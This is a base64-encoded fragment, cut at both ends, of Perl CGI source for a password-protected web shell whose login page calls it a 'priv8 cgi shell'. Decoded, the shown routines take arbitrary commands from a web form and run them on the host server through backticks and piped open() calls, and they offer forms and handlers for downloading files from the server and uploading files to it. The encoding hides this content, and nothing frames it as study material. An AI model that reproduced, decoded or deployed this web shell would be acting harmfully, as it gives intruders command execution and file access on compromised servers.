aGVpZ2h0PSIwIj48L3ByZT4NCiQ7DQojJw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4NCkNvbm5lY3RlZCB0byAkU2VydmVyTmFtZTxicj4NCkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0NCjxjb2RlPiRNZXNzYWdlDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGJyPmxvZ2luOiBhZG1pbjxicj4NCnBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KPC9mb250Pg0KPGZvbnQgc2l6ZT0iMyI+DQpsb2dpbjogPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+cHJpdjggY2dpIHNoZWxsPC9iPjxicj4NCnBhc3N3b3JkOjwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KDQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KDQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIH